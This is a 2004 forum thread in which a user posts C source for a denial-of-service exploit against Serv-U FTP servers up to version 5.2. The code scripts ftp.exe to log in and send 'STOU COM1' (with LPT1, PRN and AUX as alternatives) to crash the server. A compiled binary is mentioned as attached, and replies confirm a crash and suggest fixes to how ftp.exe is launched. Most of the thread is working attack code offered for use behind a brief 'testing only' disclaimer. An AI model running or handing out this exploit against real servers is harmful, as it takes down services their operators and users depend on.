Forums: Serv-u Stou Exploit - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Serv-u Stou Exploit Written in C by me !

#1 User is offline   mortello 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 408
  • Joined: 25-August 03

Posted 12 September 2004 - 06:15 PM

Thanks to Ecko for his Perl exploit....made me think of doing this one and it was challenging :)

This exploit is not as good as Ecko's one if you can run Perl code, but if you can't you can use this one if you have ftp.exe in your computer root....I'll try making a code that doesn't need ftp.exe later....

Use it with your mind....nothing illegal too !

//--------------------------------------------------------------------------------
// Serv-U (up to 5.2) DoS Exploit by Mortello
// Advisory : http://www.SecurityTracker.com/alerts/2004/Sep/1011219.html
// This exploit requires that you have ftp.exe in your systemroot.
// Couldn't figure out how to get the %systemroot% in the spawnl(), so any idea
// would be appreciated...
// This is my first exploit....guess the code could have been better, now I'm
// going to try to make a DoS exploit not using the ftp.exe...
// Dedicated to : The piece of cheddar and the limonade I took doing this code.
// Greetings : You know who you are !
// Use this program on YOUR computer ONLY for TESTING purposes ONLY. I take no
// responsibility on the other uses of this program !
//--------------------------------------------------------------------------------

#include <stdio.h>
#include <process.h>

/* The following function will help the user understand how to use this program. */
void usage(char name[]);
/* Program call to create a ftp.txt file.*/
void file(void);
/* Call ftp.exe and execute it using the ftp.txt created earlier. */
void execute(void);

char *ip;
int port;
char *user;
char *password;

int main(int argc, char* argv[])
{
	if (argc <5)
  usage(argv[0]);
	else if (atoi(argv[2]) < 0 || atoi(argv[2]) > 65535)
  usage(argv[0]);
	else
	{
  ip = argv[1];
  port = atoi(argv[2]);
  user = argv[3];
  password = argv[4];
  puts("Serv-U STOU DoS Exploit by Mortello");
  file();
  execute();
	}
	return 0;
}

// How to use the program !
void usage(char name[])
{
	puts("");
	puts("*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*");
	puts(" Serv-U Denial Of Service, tested on Serv-U 5.1.0.0 and 5.0.0.0.");
	puts(" Should work on latest serv-U (as of Sept. 12th, 2004)");
	puts(" Use this program on YOUR computer ONLY for TESTING purposes ONLY. I take no");
	puts(" responsibility on the other uses of this program !");
	puts(" USAGE :");
	printf(" %s \"IP\" \"PORT\" \"USERNAME\" \"PASSWORD\"\n", name);
	puts(" Account needs to be able to log-in, nothing else necessary.");
	puts("*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*");
	puts("");
}

void file()
{
	FILE *fp;
	// Will write in a ftp.txt file.
	if ((fp = fopen("ftp.txt", "w")) != NULL)
	{
  fprintf(fp, "open %s %d\n", ip, port);
  fprintf(fp, "%s\n", user);
  fprintf(fp, "%s\n", password);
  fprintf(fp, "binary\n");
  fprintf(fp, "quote STOU COM1\n");
  //Would also have worked :
  //fprintf(fp, "quote STOU LPT1\n");
  //fprintf(fp, "quote STOU PRN\n");
  //fprintf(fp, "quote STOU AUX\n");
  fprintf(fp, "quit");//If ftp.exe goes through this line, DoS didn't work.
  fclose(fp);
	}
	else
  // You don't have write perms on your comp ? strange !
  puts("No write permissions ?");
}

void execute()
{
	int value;
	// Part of code that I couldn't make work with %systemroot%
	value = spawnl(P_WAIT, "c:\\winnt\\system32\\ftp.exe", "ftp.exe", " -i -s:ftp.txt", NULL);
	value = spawnl(P_WAIT, "c:\\windows\\system32\\ftp.exe", "ftp.exe", " -i -s:ftp.txt", NULL);
	if (value == -1)
  puts("Problem!");
	else
	{
  remove("ftp.txt");
  puts("Server should have crashed by now !");
	}
}

0

#2 User is offline   mortello 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 408
  • Joined: 25-August 03

Posted 12 September 2004 - 06:16 PM

Here it is compiled for you !

Attached File(s)


0

#3 User is offline   nackas 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 48
  • Joined: 11-January 04

Posted 12 September 2004 - 10:19 PM

Hmm interesting stuff mortello! Will test this on my local ftp and see how it goes ;)

EDIT: ServUDaemon.exe has encountered a problem and needs to close. We are sorry for the inconvenience. Nice one! :D
0

#4 User is offline   arn0ld 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 98
  • Joined: 28-February 04

Posted 13 September 2004 - 02:04 AM

for me not
saying "problem!" on and on
and i'm sure the pass user are correct
0

#5 Guest_Paul_*

  • Group: Guests

Posted 13 September 2004 - 07:35 AM

The "bug" itself sux, but its nice to see some1 code an sploit for it.
Good job :)
0

#6 User is offline   mortello 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 408
  • Joined: 25-August 03

Posted 13 September 2004 - 07:41 AM

arn0ld, on Sep 13 2004, 10:04 AM, said:

for me not
saying "problem!" on and on
and i'm sure the pass user are correct

what's your %systemroot% ? if it is c:\winnt\ or c:\windows
then you don't have ftp.exe in that folder and there is a problem....hence the "Problem!"
Otherwise, you have a different %systemroot% and I'd like to add it to the code if you could tell me what it is :)
0

#7 User is offline   usch 

  • Staff Sergeant
  • Icon
  • Group: Specialist
  • Posts: 269
  • Joined: 19-January 04

Posted 13 September 2004 - 07:49 AM

ehm dude. just use "ftp.exe" instead of "C:\windows..."
cause ftp.exe is recognized as a windows program and can be accessed from anywhere, so u dont need the path.
e.g. this line of code works i tested it:
WinExec("ftp.exe",SW_SHOW);

hope i helped

see ya
usch
0

#8 User is offline   mortello 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 408
  • Joined: 25-August 03

Posted 13 September 2004 - 08:24 AM

usch, on Sep 13 2004, 03:49 PM, said:

ehm dude. just use "ftp.exe" instead of "C:\windows..."
cause ftp.exe is recognized as a windows program and can be accessed from anywhere, so u dont need the path.
e.g. this line of code works i tested it:
WinExec("ftp.exe",SW_SHOW);

hope i helped

see ya
usch

I tried using it with spawnl() but it didn't work....

I'll check some info on WinExec(...) and see what that does....thanks for the feedback :)
0

#9 User is offline   Figo 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 56
  • Joined: 08-September 03

Posted 13 September 2004 - 10:58 PM

usch, on Sep 13 2004, 03:49 PM, said:

ehm dude. just use "ftp.exe" instead of "C:\windows..."
cause ftp.exe is recognized as a windows program and can be accessed from anywhere, so u dont need the path.
e.g. this line of code works i tested it:
WinExec("ftp.exe",SW_SHOW);

hope i helped

see ya
usch

be sure c:\%systemroot%\system32\ is in ur path definition eh ;)
0

#10 User is offline   dmg 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 156
  • Joined: 31-December 03

Posted 20 September 2004 - 11:29 AM

system("ftp.exe -i -s:ftp.txt");

should also work (not tested)
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting